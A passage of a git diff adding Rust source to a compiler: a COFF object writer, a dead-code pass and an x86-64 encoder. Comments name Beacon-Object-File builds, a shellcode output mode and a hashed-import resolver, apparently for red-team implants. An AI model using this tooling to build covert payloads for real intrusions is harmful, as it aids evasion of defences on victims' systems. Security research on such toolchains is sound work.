.bss has no raw data; pointer is 0 + } else if body.bytes.is_empty() { + raw_offsets.push(0); + } else { + raw_offsets.push(cursor as u32); + cursor += body.bytes.len(); + } + } + + // Relocation table offsets. + let mut reloc_offsets: Vec = Vec::with_capacity(sections.len()); + for (_, _, body, _, _) in §ions { + if body.relocs.is_empty() { + reloc_offsets.push(0); + } else { + reloc_offsets.push(cursor as u32); + cursor += body.relocs.len() * 10; + } + } + + let symtab_offset = cursor as u32; + cursor += obj.symbols.len() * 18; // 18 bytes per symbol, no aux records + let strtab_offset = cursor; + + // String table: <=8 byte names inline in the symbol's Name[8] slot. + // Longer names: Name[0..4] = 0, Name[4..8] = LE offset into strtab. + let mut strtab: Vec = Vec::new(); + strtab.extend_from_slice(&[0, 0, 0, 0]); // placeholder for size (filled at end) + + let intern_name = |strtab: &mut Vec, name: &str| -> [u8; 8] { + let mut out = [0u8; 8]; + if name.len() <= 8 { + for (i, b) in name.bytes().enumerate() { out[i] = b; } + return out; + } + let off = strtab.len() as u32; + strtab.extend_from_slice(name.as_bytes()); + strtab.push(0); + out[4..8].copy_from_slice(&off.to_le_bytes()); + out + }; + + let mut out: Vec = Vec::new(); + + // 1. File header. + out.write_all(&IMAGE_FILE_MACHINE_AMD64.to_le_bytes()).unwrap(); + out.write_all(&(sections.len() as u16).to_le_bytes()).unwrap(); + out.write_all(&0u32.to_le_bytes()).unwrap(); // TimeDateStamp - leave zero for reproducible builds + out.write_all(&symtab_offset.to_le_bytes()).unwrap(); + out.write_all(&(obj.symbols.len() as u32).to_le_bytes()).unwrap(); + out.write_all(&0u16.to_le_bytes()).unwrap(); // SizeOfOptionalHeader - 0 for object files + out.write_all(&0u16.to_le_bytes()).unwrap(); // Characteristics - 0 is fine for relocatable object + + // 2. Section headers. + for (i, (name, chars, body, _id, bss_size)) in sections.iter().enumerate() { + let mut name_bytes = [0u8; 8]; + for (j, b) in name.bytes().enumerate() { if j < 8 { name_bytes[j] = b; } } + out.write_all(&name_bytes).unwrap(); + // VirtualSize/Address: 0/0 for object files. SizeOfRawData + // doubles as .bss size when there's no raw data. + out.write_all(&0u32.to_le_bytes()).unwrap(); + out.write_all(&0u32.to_le_bytes()).unwrap(); + let raw_size = if *bss_size > 0 { *bss_size } else { body.bytes.len() as u32 }; + out.write_all(&raw_size.to_le_bytes()).unwrap(); + out.write_all(&raw_offsets[i].to_le_bytes()).unwrap(); + out.write_all(&reloc_offsets[i].to_le_bytes()).unwrap(); + out.write_all(&0u32.to_le_bytes()).unwrap(); // PointerToLineNumbers (deprecated) + out.write_all(&(body.relocs.len() as u16).to_le_bytes()).unwrap(); + out.write_all(&0u16.to_le_bytes()).unwrap(); // NumberOfLineNumbers + out.write_all(&chars.to_le_bytes()).unwrap(); + } + + // 3. Section raw data, in declaration order. + for (_, _, body, _, bss_size) in §ions { + if *bss_size == 0 { + out.write_all(&body.bytes).unwrap(); + } + } + + // 4. Relocation tables per section. SymbolTableIndex is 0-based + // into obj.symbols. + for (_, _, body, _, _) in §ions { + for r in &body.relocs { + out.write_all(&r.at.to_le_bytes()).unwrap(); + out.write_all(&(r.sym as u32).to_le_bytes()).unwrap(); + out.write_all(&r.ty.to_le_bytes()).unwrap(); + } + } + + // 5. Symbol table. + for s in &obj.symbols { + let name_bytes = intern_name(&mut strtab, &s.name); + out.write_all(&name_bytes).unwrap(); + out.write_all(&s.value.to_le_bytes()).unwrap(); + + let (section_number, storage_class, ty): (i16, u8, u16) = match s.kind { + SymKind::TextStatic => ( + *sec_num.get(&SectionId::Text).unwrap(), + IMAGE_SYM_CLASS_STATIC, + IMAGE_SYM_DTYPE_FUNCTION, + ), + SymKind::TextExtern => ( + *sec_num.get(&SectionId::Text).unwrap(), + IMAGE_SYM_CLASS_EXTERNAL, + IMAGE_SYM_DTYPE_FUNCTION, + ), + SymKind::DataStatic { section } => ( + *sec_num.get(§ion).unwrap(), + IMAGE_SYM_CLASS_STATIC, + IMAGE_SYM_TYPE_NULL, + ), + SymKind::Undefined => ( + 0, + IMAGE_SYM_CLASS_EXTERNAL, + IMAGE_SYM_TYPE_NULL, + ), + }; + out.write_all(§ion_number.to_le_bytes()).unwrap(); + out.write_all(&ty.to_le_bytes()).unwrap(); + out.write_all(&[storage_class]).unwrap(); + out.write_all(&[0u8]).unwrap(); // NumberOfAuxSymbols + } + + // 6. String table: backpatch the size and append. + let strtab_size = strtab.len() as u32; + strtab[0..4].copy_from_slice(&strtab_size.to_le_bytes()); + out.write_all(&strtab).unwrap(); + + let _ = strtab_offset; + Ok(out) +} diff --git a/src/dce.rs b/src/dce.rs new file mode 100644 index 0000000..4542c3e --- /dev/null +++ b/src/dce.rs @@ -0,0 +1,218 @@ + +use std::collections::HashSet; + +use crate::ast::*; +use crate::codegen::BuildKind; + +/// Standard-mode entry. BOF builds use eliminate_with_kind so the +/// seed is go instead of main. +#[allow(dead_code)] +pub fn eliminate(prog: &mut Program) { + eliminate_with_kind(prog, BuildKind::Standard) +} + +pub fn eliminate_with_kind(prog: &mut Program, kind: BuildKind) { + let mut ctx = Ctx::default(); + + let entry = kind.entry_name(); + if prog.functions.iter().any(|f| f.name == entry && !f.is_extern) { + ctx.fns.insert(entry.to_string()); + } else { + return; + } + for f in &prog.functions { + for a in &f.attrs { + if a.kind == "Override" || a.kind == "Hook" || a.kind == "Stage" { + ctx.fns.insert(f.name.clone()); + } + } + } + + // Mark-and-sweep until the live set stops growing. + loop { + let snapshot = (ctx.fns.len(), ctx.statics.len(), ctx.structs.len()); + + for f in &prog.functions { + if ctx.fns.contains(&f.name) { + ctx.mark_function(f); + } + } + for s in &prog.statics { + if ctx.statics.contains(&s.name) { + ctx.mark_type(&s.ty); + if let Some(init) = &s.init { + ctx.mark_expr(init); + } + } + } + for s in &prog.structs { + if ctx.structs.contains(&s.name) { + for (_, fty) in &s.fields { + ctx.mark_type(fty); + } + } + } + + if (ctx.fns.len(), ctx.statics.len(), ctx.structs.len()) == snapshot { + break; + } + } + + // Sweep: keep only marked items. + prog.functions.retain(|f| ctx.fns.contains(&f.name)); + prog.statics.retain(|s| ctx.statics.contains(&s.name)); + prog.structs.retain(|s| ctx.structs.contains(&s.name)); +} + +#[derive(Default)] +struct Ctx { + fns: HashSet, + statics: HashSet, + structs: HashSet, +} + +impl Ctx { + /// Strip [N] and * suffixes; mark the bare name as a live struct. + /// Sweep ignores names that don't correspond to a real struct, so + /// spurious marks are harmless. + fn mark_type(&mut self, ty: &str) { + let mut key = ty; + if let Some(open) = key.rfind('[') { + if key.ends_with(']') { + key = &key[..open]; + } + } + let key = key.trim_end_matches('*'); + if !key.is_empty() { + self.structs.insert(key.to_string()); + } + } + + fn mark_function(&mut self, f: &Function) { + for p in &f.params { + self.mark_type(&p.ty); + } + self.mark_type(&f.ret_ty); + self.mark_block(&f.body); + } + + fn mark_block(&mut self, stmts: &[Stmt]) { + for s in stmts { + self.mark_stmt(s); + } + } + + fn mark_stmt(&mut self, s: &Stmt) { + match s { + Stmt::Var { ty, value, .. } => { + self.mark_type(ty); + if let Some(e) = value { self.mark_expr(e); } + } + Stmt::Expr { value: e, .. } => self.mark_expr(e), + Stmt::If { cond, then_body, else_body } => { + self.mark_expr(cond); + self.mark_block(then_body); + self.mark_block(else_body); + } + Stmt::While { cond, body } => { + self.mark_expr(cond); + self.mark_block(body); + } + Stmt::For { init, cond, step, body } => { + if let Some(i) = init { self.mark_stmt(i); } + if let Some(c) = cond { self.mark_expr(c); } + if let Some(s) = step { self.mark_stmt(s); } + self.mark_block(body); + } + Stmt::Ret { value: Some(e), .. } => self.mark_expr(e), + Stmt::Raise { value, .. } => self.mark_expr(value), + Stmt::Try { body, handler, .. } => { + self.mark_block(body); + self.mark_block(handler); + } + Stmt::Ret { value: None, .. } | Stmt::Break | Stmt::Continue => {} + Stmt::Asm(lines) => { + // Inline-asm %name operands reference functions / statics + // outside the Expr tree. Mark conservatively across both + // kinds; sweep filters spurious entries. + use crate::asm::{AsmBody, AsmOperand, AsmMem, AsmMemBase}; + fn walk_operand(op: &AsmOperand, ctx: &mut Ctx) { + match op { + AsmOperand::Sym(name) => { + ctx.fns.insert(name.clone()); + ctx.statics.insert(name.clone()); + } + AsmOperand::Mem(AsmMem { base: Some(AsmMemBase::Sym(name)), .. }) => { + ctx.fns.insert(name.clone()); + ctx.statics.insert(name.clone()); + } + _ => {} + } + } + for line in lines { + match &line.body { + AsmBody::Op1 { op, .. } => walk_operand(op, self), + AsmBody::Op2 { dst, src, .. } => { + walk_operand(dst, self); + walk_operand(src, self); + } + _ => {} + } + } + } + } + } + + fn mark_expr(&mut self, e: &Expr) { + match e { + Expr::Var(name) => { + // Mark as both - could be a static, a local, or a + // function name used as a code pointer. + self.statics.insert(name.clone()); + self.fns.insert(name.clone()); + } + Expr::Call { ns, fname, args, .. } => { + // Only empty-namespace (local) calls need marking; + // Win32 and intrinsics resolve at codegen. + if ns.is_empty() { + self.fns.insert(fname.clone()); + } + for a in args { self.mark_expr(a); } + } + Expr::Assign { value, .. } => self.mark_expr(value), + Expr::Unary { operand, .. } => self.mark_expr(operand), + Expr::Binary { lhs, rhs, .. } => { + self.mark_expr(lhs); + self.mark_expr(rhs); + } + Expr::Field { base, .. } => self.mark_expr(base), + Expr::FieldAssign { base, value, .. } => { + self.mark_expr(base); + self.mark_expr(value); + } + Expr::DerefAssign { ptr, value } => { + self.mark_expr(ptr); + self.mark_expr(value); + } + Expr::Index { base, index } => { + self.mark_expr(base); + self.mark_expr(index); + } + Expr::IndexAssign { base, index, value } => { + self.mark_expr(base); + self.mark_expr(index); + self.mark_expr(value); + } + Expr::Cast { ty, expr } => { + self.mark_type(ty); + self.mark_expr(expr); + } + Expr::SizeOf { ty } => self.mark_type(ty), + Expr::StructLit { ty, fields, .. } => { + self.mark_type(ty); + for (_, e) in fields { self.mark_expr(e); } + } + Expr::Int(_) | Expr::Bool(_) | Expr::Str(_) => {} + } + } +} diff --git a/src/encoder.rs b/src/encoder.rs new file mode 100644 index 0000000..e815d90 --- /dev/null +++ b/src/encoder.rs @@ -0,0 +1,1277 @@ + +use std::collections::HashMap; + +#[derive(Copy, Clone, Debug, PartialEq, Eq)] +#[repr(u8)] +pub enum Reg64 { + Rax = 0, Rcx = 1, Rdx = 2, Rbx = 3, + Rsp = 4, Rbp = 5, Rsi = 6, Rdi = 7, + R8 = 8, R9 = 9, R10 =10, R11 =11, + R12 =12, R13 =13, R14 =14, R15 =15, +} + +impl Reg64 { + pub fn lo3(self) -> u8 { (self as u8) & 0b111 } + pub fn ext(self) -> bool { (self as u8) & 0b1000 != 0 } + + pub fn from_name(s: &str) -> Option { + use Reg64::*; + Some(match s { + "rax" => Rax, "rcx" => Rcx, "rdx" => Rdx, "rbx" => Rbx, + "rsp" => Rsp, "rbp" => Rbp, "rsi" => Rsi, "rdi" => Rdi, + "r8" => R8, "r9" => R9, "r10" => R10, "r11" => R11, + "r12" => R12, "r13" => R13, "r14" => R14, "r15" => R15, + _ => return None, + }) + } +} + +#[derive(Copy, Clone, Debug)] +pub enum Cond { + Eq, Ne, Lt, Gt, Le, Ge, Z, Nz, + /// Unsigned below (CF=1) - for cmp ptr, lower_bound; jb out_of_range. + B, + /// Unsigned below-or-equal (CF=1 ∨ ZF=1). + Be, + /// Unsigned above (CF=0 ∧ ZF=0) - for cmp new_next, end; ja oom. + A, + /// Unsigned above-or-equal (CF=0) - for sweep loop termination. + Ae, + /// Sign flag set (SF=1). + S, + /// Sign flag clear (SF=0). + Ns, +} + +impl Cond { + /// Returns the low nibble that follows 0x0F 8_ for jcc rel32, + /// 0x0F 9_ for setcc, and 0x0F 4_ for cmovcc. The encoding scheme + /// is the same low-nibble across all three opcode families. + pub fn nibble(self) -> u8 { + match self { + Cond::Z | Cond::Eq => 0x4, + Cond::Nz | Cond::Ne => 0x5, + Cond::B => 0x2, + Cond::Ae => 0x3, + Cond::Be => 0x6, + Cond::A => 0x7, + Cond::S => 0x8, + Cond::Ns => 0x9, + Cond::Lt => 0xC, + Cond::Ge => 0xD, + Cond::Le => 0xE, + Cond::Gt => 0xF, + } + } +} + +/// Segment-override prefix (0x64 = FS, 0x65 = GS). Only FS/GS matter +/// in user mode on x86-64; CS/DS/ES/SS are flat. GS points at the TEB. +#[derive(Copy, Clone, Debug, PartialEq, Eq)] +pub enum Segment { + Fs, + Gs, +} + +impl Segment { + fn prefix(self) -> u8 { + match self { Segment::Fs => 0x64, Segment::Gs => 0x65 } + } +} + +/// Where a rel32 should point. +#[derive(Debug, Clone)] +pub enum RelocTarget { + Code(String), // a code-section label + Data(String), + External(String), +} + +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub enum DataSection { Rdata, Data, Bss } + +#[derive(Debug, Clone)] +pub struct Reloc { + pub patch_at: usize, + pub target: RelocTarget, +} + +#[derive(Debug, Clone)] +pub struct DbgMark { + pub code_off: usize, + pub line: u32, + pub col: u32, + pub kind: &'static str, +} + +#[derive(Debug, Clone)] +pub struct DbgVar { + pub name: String, + pub ty: String, + pub loc: String, + pub line_start: u32, + pub line_end: u32, +} + +pub struct Encoder { + pub code: Vec, + /// Read-only initialised data - string literals, format templates, + /// DLL names. Lands in .rdata for BOF mode; flattened into the + /// standard [code | rdata | data | bss] blob for shellcode mode. + pub rdata: Vec, + pub data: Vec, + /// Uninitialised (zero-filled) data - import slots, format + /// buffers, static slots. Carries a size only; the bytes are + /// materialised at load time. + pub bss_size: usize, + code_labels: HashMap, + rdata_labels: HashMap, + data_labels: HashMap, + bss_labels: HashMap, + relocs: Vec, + pub dbg_marks: Vec, + pub dbg_vars: Vec, +} + +impl Encoder { + pub fn new() -> Self { + Self { + code: Vec::new(), + rdata: Vec::new(), + data: Vec::new(), + bss_size: 0, + code_labels: HashMap::new(), + rdata_labels: HashMap::new(), + data_labels: HashMap::new(), + bss_labels: HashMap::new(), + relocs: Vec::new(), + dbg_marks: Vec::new(), + dbg_vars: Vec::new(), + } + } + + pub fn dbg_mark(&mut self, line: u32, col: u32, kind: &'static str) { + if line == 0 { return; } + self.dbg_marks.push(DbgMark { code_off: self.code.len(), line, col, kind }); + } + + pub fn dbg_var(&mut self, name: &str, ty: &str, frame_off: i32, line_start: u32, line_end: u32) { + if line_start == 0 || name.is_empty() { return; } + let loc = if frame_off < 0 { + format!("rbp-0x{:x}", -frame_off) + } else { + format!("rbp+0x{:x}", frame_off) + }; + self.dbg_vars.push(DbgVar { + name: name.to_string(), + ty: ty.to_string(), + loc, + line_start, + line_end, + }); + } + + pub fn code_reloc_ranges(&self) -> Vec> { + self.relocs.iter().map(|r| r.patch_at..(r.patch_at + 4)).collect() + } + + pub fn code_label_positions(&self) -> Vec { + let mut v: Vec = self.code_labels.values().copied().collect(); + v.sort_unstable(); + v + } + + pub fn splice(&mut self, at: usize, old_len: usize, new_bytes: &[u8]) { + let delta = new_bytes.len() as isize - old_len as isize; + // Replace the bytes in place. + self.code.splice(at..at + old_len, new_bytes.iter().copied()); + if delta == 0 { return; } + for pos in self.code_labels.values_mut() { + if *pos > at { + *pos = ((*pos as isize) + delta) as usize; + } + } + for r in self.relocs.iter_mut() { + if r.patch_at >= at + old_len { + r.patch_at = ((r.patch_at as isize) + delta) as usize; + } + } + } + + fn emit(&mut self, b: u8) { self.code.push(b); } + fn emit32(&mut self, v: u32){ self.code.extend_from_slice(&v.to_le_bytes()); } + fn emit64(&mut self, v: u64){ self.code.extend_from_slice(&v.to_le_bytes()); } + + fn rex(&mut self, w: bool, r: bool, x: bool, b: bool) { + if w || r || x || b { + let mut byte = 0x40u8; + if w { byte |= 0x08; } + if r { byte |= 0x04; } + if x { byte |= 0x02; } + if b { byte |= 0x01; } + self.emit(byte); + } + } + + fn modrm(&mut self, mod_: u8, reg: u8, rm: u8) { + self.emit(((mod_ & 0b11) << 6) | ((reg & 0b111) << 3) | (rm & 0b111)); + } + + pub fn place_code_label(&mut self, name: &str) { + self.code_labels.insert(name.to_string(), self.code.len()); + } + + pub fn add_rdata(&mut self, name: &str, bytes: &[u8]) { + let offset = self.rdata.len(); + self.rdata.extend_from_slice(bytes); + self.rdata_labels.insert(name.to_string(), offset); + } + + pub fn add_rdata_raw_named(&mut self, name: &str, bytes: &[u8]) { + let offset = self.rdata.len(); + self.rdata.extend_from_slice(bytes); + self.rdata_labels.insert(name.to_string(), offset); + } + + pub fn mark_rdata_position(&mut self, name: &str) { + self.rdata_labels.insert(name.to_string(), self.rdata.len()); + } + + /// Append bytes to the mutable .data section. Reserved for + /// initialised mutable data - currently only used when a future + /// const-baked static landing path needs it. + pub fn add_data(&mut self, name: &str, bytes: &[u8]) { + let offset = self.data.len(); + self.data.extend_from_slice(bytes); + self.data_labels.insert(name.to_string(), offset); + } + + pub fn data_has(&self, name: &str) -> bool { + self.rdata_labels.contains_key(name) + || self.data_labels.contains_key(name) + || self.bss_labels.contains_key(name) + } + + pub fn code_has(&self, name: &str) -> bool { + self.code_labels.contains_key(name) + } + + /// Add a NUL-terminated string to .rdata. Strings are + /// universally read-only - the compiler doesn't expose any + /// in-place string mutation today. + pub fn add_string(&mut self, name: &str, s: &str) { + let mut bytes = s.as_bytes().to_vec(); + bytes.push(0); + self.add_rdata(name, &bytes); + } + + pub fn add_bss(&mut self, name: &str, size: usize) { + let offset = self.bss_size; + self.bss_size += size; + self.bss_labels.insert(name.to_string(), offset); + } + + fn rel32_to(&mut self, target: RelocTarget) { + let patch_at = self.code.len(); + self.emit32(0); + self.relocs.push(Reloc { patch_at, target }); + } + + + /// mov reg64, imm64 (REX.W + B8+rd io) + pub fn mov_r64_imm64(&mut self, dst: Reg64, imm: u64) { + self.rex(true, false, false, dst.ext()); + self.emit(0xB8 + dst.lo3()); + self.emit64(imm); + } + + /// mov dst, src (both reg64) (REX.W + 89 /r) + pub fn mov_r64_r64(&mut self, dst: Reg64, src: Reg64) { + self.rex(true, src.ext(), false, dst.ext()); + self.emit(0x89); + self.modrm(0b11, src.lo3(), dst.lo3()); + } + + /// mov reg64, [rip + rel32] (REX.W + 8B /r, mod=00 rm=101) + pub fn mov_r64_data(&mut self, dst: Reg64, label: &str) { + self.rex(true, dst.ext(), false, false); + self.emit(0x8B); + self.modrm(0b00, dst.lo3(), 0b101); + self.rel32_to(RelocTarget::Data(label.to_string())); + } + + /// mov [rip + rel32], reg64 (REX.W + 89 /r, mod=00 rm=101) + pub fn mov_data_r64(&mut self, label: &str, src: Reg64) { + self.rex(true, src.ext(), false, false); + self.emit(0x89); + self.modrm(0b00, src.lo3(), 0b101); + self.rel32_to(RelocTarget::Data(label.to_string())); + } + + /// mov reg64, [rbp + disp32] (REX.W + 8B /r, mod=10 rm=101) + pub fn mov_r64_rbp_disp(&mut self, dst: Reg64, disp: i32) { + self.rex(true, dst.ext(), false, false); + self.emit(0x8B); + self.modrm(0b10, dst.lo3(), Reg64::Rbp.lo3()); + self.emit32(disp as u32); + } + + /// mov [rbp + disp32], reg64 (REX.W + 89 /r) + pub fn mov_rbp_disp_r64(&mut self, disp: i32, src: Reg64) { + self.rex(true, src.ext(), false, false); + self.emit(0x89); + self.modrm(0b10, src.lo3(), Reg64::Rbp.lo3()); + self.emit32(disp as u32); + } + + /// lea reg64, [rip + rel32] (REX.W + 8D /r, mod=00 rm=101) + pub fn lea_r64_data(&mut self, dst: Reg64, label: &str) { + self.rex(true, dst.ext(), false, false); + self.emit(0x8D); + self.modrm(0b00, dst.lo3(), 0b101); + self.rel32_to(RelocTarget::Data(label.to_string())); + } + + /// lea reg64, [rip + rel32] - used for taking a code address + /// (e.g. saving a handler PC into a longjmp buffer). + pub fn lea_r64_code(&mut self, dst: Reg64, label: &str) { + self.rex(true, dst.ext(), false, false); + self.emit(0x8D); + self.modrm(0b00, dst.lo3(), 0b101); + self.rel32_to(RelocTarget::Code(label.to_string())); + } + + /// push reg64 (50+rd, REX.B for R8..R15) + pub fn push_r64(&mut self, r: Reg64) { + self.rex(false, false, false, r.ext()); + self.emit(0x50 + r.lo3()); + } + + /// pop reg64 (58+rd) + pub fn pop_r64(&mut self, r: Reg64) { + self.rex(false, false, false, r.ext()); + self.emit(0x58 + r.lo3()); + } + + /// ret (C3) + pub fn ret(&mut self) { self.emit(0xC3); } + + /// nop (90) + pub fn nop(&mut self) { self.emit(0x90); } + + pub fn sub_r64_imm32(&mut self, dst: Reg64, imm: i32) { + self.rex(true, false, false, dst.ext()); + if let Ok(imm8) = i8::try_from(imm) { + self.emit(0x83); + self.modrm(0b11, 5, dst.lo3()); + self.emit(imm8 as u8); + } else { + self.emit(0x81); + self.modrm(0b11, 5, dst.lo3()); + self.emit32(imm as u32); + } + } + + /// add reg64, imm Size-aware companion to [sub_r64_imm32]. Same + /// 7 to 4 byte win for small immediates (add rsp, 8, frame fix-ups, + /// small struct field offsets, etc.). + pub fn add_r64_imm32(&mut self, dst: Reg64, imm: i32) { + self.rex(true, false, false, dst.ext()); + if let Ok(imm8) = i8::try_from(imm) { + self.emit(0x83); + self.modrm(0b11, 0, dst.lo3()); + self.emit(imm8 as u8); + } else { + self.emit(0x81); + self.modrm(0b11, 0, dst.lo3()); + self.emit32(imm as u32); + } + } + + /// add reg64, reg64 (REX.W + 01 /r) + pub fn add_r64_r64(&mut self, dst: Reg64, src: Reg64) { + self.rex(true, src.ext(), false, dst.ext()); + self.emit(0x01); + self.modrm(0b11, src.lo3(), dst.lo3()); + } + + /// sub dst, src (REX.W + 29 /r) + pub fn sub_r64_r64(&mut self, dst: Reg64, src: Reg64) { + self.rex(true, src.ext(), false, dst.ext()); + self.emit(0x29); + self.modrm(0b11, src.lo3(), dst.lo3()); + } + + pub fn xor_r64_r64(&mut self, dst: Reg64, src: Reg64) { + if dst as u8 == src as u8 && !dst.ext() { + // 2-byte xor er32, er32 - REX omitted entirely. + self.emit(0x31); + self.modrm(0b11, src.lo3(), dst.lo3()); + return; + } + self.rex(true, src.ext(), false, dst.ext()); + self.emit(0x31); + self.modrm(0b11, src.lo3(), dst.lo3()); + } + + /// and dst, src (REX.W + 21 /r) + pub fn and_r64_r64(&mut self, dst: Reg64, src: Reg64) { + self.rex(true, src.ext(), false, dst.ext()); + self.emit(0x21); + self.modrm(0b11, src.lo3(), dst.lo3()); + } + + /// and r64, imm8 (sign-extended) (REX.W + 83 /4 ib) - 4 bytes. + /// Used by the GC for masking off the low-3-bit header flags + /// (and rcx, -8 keeps just the size). + pub fn and_r64_imm8(&mut self, dst: Reg64, imm: i8) { + self.rex(true, false, false, dst.ext()); + self.emit(0x83); + self.modrm(0b11, 4, dst.lo3()); + self.emit(imm as u8); + } + + /// or r64, imm8 (sign-extended) (REX.W + 83 /1 ib) - 4 bytes. + /// Used by the GC for setting flag bits without disturbing size + /// (or rcx, 1 sets the mark bit). + pub fn or_r64_imm8(&mut self, dst: Reg64, imm: i8) { + self.rex(true, false, false, dst.ext()); + self.emit(0x83); + self.modrm(0b11, 1, dst.lo3()); + self.emit(imm as u8); + } + + /// or dst, src (REX.W + 09 /r) + pub fn or_r64_r64(&mut self, dst: Reg64, src: Reg64) { + self.rex(true, src.ext(), false, dst.ext()); + self.emit(0x09); + self.modrm(0b11, src.lo3(), dst.lo3()); + } + + /// not r64 (REX.W + F7 /2) - bitwise complement + pub fn not_r64(&mut self, dst: Reg64) { + self.rex(true, false, false, dst.ext()); + self.emit(0xF7); + self.modrm(0b11, 2, dst.lo3()); + } + + /// shl r64, cl (REX.W + D3 /4) - logical shift left, count in CL + pub fn shl_r64_cl(&mut self, dst: Reg64) { + self.rex(true, false, false, dst.ext()); + self.emit(0xD3); + self.modrm(0b11, 4, dst.lo3()); + } + + /// shl r64, imm8 (REX.W + C1 /4 ib) - logical shift left by constant. + pub fn shl_r64_imm8(&mut self, dst: Reg64, imm: u8) { + self.rex(true, false, false, dst.ext()); + self.emit(0xC1); + self.modrm(0b11, 4, dst.lo3()); + self.emit(imm); + } + + /// imul r64, r/m64, imm8 (sign-extended) - REX.W + 6B /r ib. + /// Three-operand multiply with a small immediate. Used by the + /// hashed-import resolver's djb2-style hash. + pub fn imul_r64_r64_imm8(&mut self, dst: Reg64, src: Reg64, imm: i8) { + self.rex(true, dst.ext(), false, src.ext()); + self.emit(0x6B); + self.modrm(0b11, dst.lo3(), src.lo3()); + self.emit(imm as u8); + } + + pub fn cmp_r32_imm32(&mut self, dst: Reg64, imm: u32) { + if dst.ext() { self.emit(0x41); } + self.emit(0x81); + self.modrm(0b11, 7, dst.lo3()); + self.emit32(imm); + } + + #[allow(dead_code)] + pub fn shr_r64_cl(&mut self, dst: Reg64) { + self.rex(true, false, false, dst.ext()); + self.emit(0xD3); + self.modrm(0b11, 5, dst.lo3()); + } + + /// sar r64, cl (REX.W + D3 /7) - arithmetic shift right, count in CL + pub fn sar_r64_cl(&mut self, dst: Reg64) { + self.rex(true, false, false, dst.ext()); + self.emit(0xD3); + self.modrm(0b11, 7, dst.lo3()); + } + + /// cld (FC) - clear direction flag. String ops then auto-increment + /// rdi/rsi. Win64 callers may have set DF; intrinsic memory primitives + /// emit this defensively before any rep so direction is deterministic. + pub fn cld(&mut self) { self.emit(0xFC); } + + /// rep stosb (F3 AA) - fill rcx bytes at [rdi] with al. Modifies + /// rdi (post-increment by rcx) and rcx (zero). + pub fn rep_stosb(&mut self) { self.emit(0xF3); self.emit(0xAA); } + + /// rep movsb (F3 A4) - copy rcx bytes from [rsi] to [rdi]. + /// Modifies rsi, rdi, rcx. + pub fn rep_movsb(&mut self) { self.emit(0xF3); self.emit(0xA4); } + + /// repe cmpsb (F3 A6) - compare rcx bytes; stop on first mismatch + /// OR when rcx hits zero. ZF=1 means full match. + pub fn repe_cmpsb(&mut self) { self.emit(0xF3); self.emit(0xA6); } + + /// cmp reg64, reg64 (REX.W + 39 /r) + pub fn cmp_r64_r64(&mut self, a: Reg64, b: Reg64) { + self.rex(true, b.ext(), false, a.ext()); + self.emit(0x39); + self.modrm(0b11, b.lo3(), a.lo3()); + } + + /// test reg64, reg64 (REX.W + 85 /r) + pub fn test_r64_r64(&mut self, a: Reg64, b: Reg64) { + self.rex(true, b.ext(), false, a.ext()); + self.emit(0x85); + self.modrm(0b11, b.lo3(), a.lo3()); + } + + pub fn call_extern(&mut self, sym: &str) { + self.emit(0xFF); + self.modrm(0b00, 0b010, 0b101); + self.rel32_to(RelocTarget::External(sym.to_string())); + } + + pub fn call_label(&mut self, label: &str) { + self.emit(0xE8); + self.rel32_to(RelocTarget::Code(label.to_string())); + } + + /// call [rip + rel32] (FF /2, mod=00 rm=101) - indirect through slot + pub fn call_indirect_data(&mut self, label: &str) { + self.emit(0xFF); + self.modrm(0b00, 2, 0b101); + self.rel32_to(RelocTarget::Data(label.to_string())); + } + + /// call reg64 (FF /2) + pub fn call_r64(&mut self, r: Reg64) { + self.rex(false, false, false, r.ext()); + self.emit(0xFF); + self.modrm(0b11, 2, r.lo3()); + } + + /// jmp rel32 (E9 cd) + pub fn jmp_label(&mut self, label: &str) { + self.emit(0xE9); + self.rel32_to(RelocTarget::Code(label.to_string())); + } + + /// jmp reg64 (FF /4) - used for indirect jumps (longjmp restore) + pub fn jmp_r64(&mut self, r: Reg64) { + self.rex(false, false, false, r.ext()); + self.emit(0xFF); + self.modrm(0b11, 4, r.lo3()); + } + + /// jcc rel32 (0F 8x cd) + pub fn jcc_label(&mut self, cond: Cond, label: &str) { + self.emit(0x0F); + self.emit(0x80 + cond.nibble()); + self.rel32_to(RelocTarget::Code(label.to_string())); + } + + /// raw byte emit (for inline asm { 0x.. } blocks) + pub fn emit_raw(&mut self, b: u8) { self.emit(b); } + + + /// mov dst, [base + disp32] (REX.W + 8B /r) + pub fn mov_r64_r64disp(&mut self, dst: Reg64, base: Reg64, disp: i32) { + self.rex(true, dst.ext(), false, base.ext()); + self.emit(0x8B); + let rm = base.lo3(); + if rm == 0b100 { + // rsp/r12 require a SIB byte even with no index. + self.modrm(0b10, dst.lo3(), 0b100); + self.emit(0x24); // SIB: scale=00 index=100(none) base=100 + } else { + self.modrm(0b10, dst.lo3(), rm); + } + self.emit32(disp as u32); + } + + /// mov [base + disp32], src (REX.W + 89 /r) + pub fn mov_r64disp_r64(&mut self, base: Reg64, disp: i32, src: Reg64) { + self.rex(true, src.ext(), false, base.ext()); + self.emit(0x89); + let rm = base.lo3(); + if rm == 0b100 { + self.modrm(0b10, src.lo3(), 0b100); + self.emit(0x24); + } else { + self.modrm(0b10, src.lo3(), rm); + } + self.emit32(disp as u32); + } + + /// lea dst, [base + disp32] (REX.W + 8D /r) + pub fn lea_r64_r64disp(&mut self, dst: Reg64, base: Reg64, disp: i32) { + self.rex(true, dst.ext(), false, base.ext()); + self.emit(0x8D); + let rm = base.lo3(); + if rm == 0b100 { + self.modrm(0b10, dst.lo3(), 0b100); + self.emit(0x24); + } else { + self.modrm(0b10, dst.lo3(), rm); + } + self.emit32(disp as u32); + } + + /// lea dst, [base + idx*1] (REX.W + 8D /r, SIB scale=00) - RVA to absolute + pub fn lea_r64_base_idx(&mut self, dst: Reg64, base: Reg64, idx: Reg64) { + self.rex(true, dst.ext(), idx.ext(), base.ext()); + self.emit(0x8D); + // mod=00 reg=dst rm=100 (SIB); SIB: scale=00 index=idx base=base + // base==rbp/r13 + mod=00 means [disp32] - disallow that combination. + // For us base is rcx/rax/rbx so it's fine; assert just in case. + debug_assert!(base.lo3() != 0b101, "lea with rbp/r13 as base needs disp"); + self.modrm(0b00, dst.lo3(), 0b100); + let sib = (0b00 << 6) | (idx.lo3() << 3) | base.lo3(); + self.emit(sib); + } + + /// mov dst32, [base + idx*4] (66/REX optional; default-32 mov) - RVA-table read + pub fn mov_r32_base_idx_scale4(&mut self, dst: Reg64, base: Reg64, idx: Reg64) { + // 32-bit mov writes zero-extend into the 64-bit register, which is + // 